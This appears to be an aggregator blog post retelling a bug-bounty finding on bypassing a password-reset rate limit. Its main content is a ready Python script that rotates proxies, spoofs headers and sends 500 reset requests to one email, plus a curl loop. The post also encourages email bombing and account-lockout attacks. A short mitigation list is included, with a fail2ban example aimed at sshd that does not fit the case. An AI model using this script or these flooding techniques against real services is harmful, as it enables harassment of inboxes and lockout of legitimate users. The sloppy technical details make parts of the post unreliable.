Listen to this Post
While testing a platform’s password reset functionality, I noticed that rate limiting kicked in after ~20 requests when using a proxy, returning 429 Too Many Requests.
To bypass this, I developed a custom Python script that:
– Spoofed IPs
– Introduced delays between requests
This method successfully bypassed the rate limit, allowing 500+ reset links to be sent to any email without user interaction—potentially enabling spam or account abuse.
You Should Know:
Python Script for Bypassing Rate Limits
Here’s a refined version of the script:
import requests
import time
from random import randint
List of proxy IPs (rotated to avoid detection)
proxies = [
{"http": "http://proxy1:8080", "https": "http://proxy1:8080"},
{"http": "http://proxy2:8080", "https": "http://proxy2:8080"},
]
target_url = "https://example.com/reset-password"
email = "[email protected]"
for i in range(500):
try:
Rotate proxies and add random delay
proxy = proxies[i % len(proxies)]
delay = randint(1, 5)
time.sleep(delay)
Send reset request
response = requests.post(
target_url,
data={"email": email},
proxies=proxy,
headers={"User-Agent": "Mozilla/5.0"}
)
print(f"Request {i+1}: Status {response.status_code}")
except Exception as e:
print(f"Error: {e}")
Key Techniques Used:
1. IP Rotation – Prevents IP-based rate limiting.
2. Random Delays – Mimics human behavior.
3. User-Agent Spoofing – Avoids bot detection.
Mitigation for Developers:
To prevent such bypasses:
- Implement CAPTCHA after a few reset attempts.
- Use device fingerprinting alongside IP checks.
- Enforce strict rate limiting per email, not just per IP.
Linux Commands for Testing Rate Limits
Test HTTP requests using `curl` with delays:
for i in {1..50}; do curl -X POST "https://example.com/reset-password" -d "[email protected]" -H "User-Agent: Mozilla/5.0"; sleep 2; done
Check server responses with `httpie`:
http POST https://example.com/reset-password [email protected] --proxy=http:http://proxy:8080
What Undercode Say
Bypassing rate limits is a common bug bounty finding, but demonstrating impact is key. Try:
– Account Lockout Attacks – Flooding reset requests to lock users out.
– Email Bombing – Overloading inboxes with reset links.
– Session Hijacking – If tokens are predictable.
For defenders:
- Monitor unusual request patterns (e.g., rapid resets for the same email).
- Use fail2ban to block abusive IPs:
sudo fail2ban-client set sshd banip <attacker_ip>
- Log analysis with grep:
grep "POST /reset-password" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -nr
Expected Output:
A successful bypass allows mass reset requests, highlighting flawed rate-limiting logic. Always report responsibly.
Relevant URLs:
References:
Reported By: Darmick Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
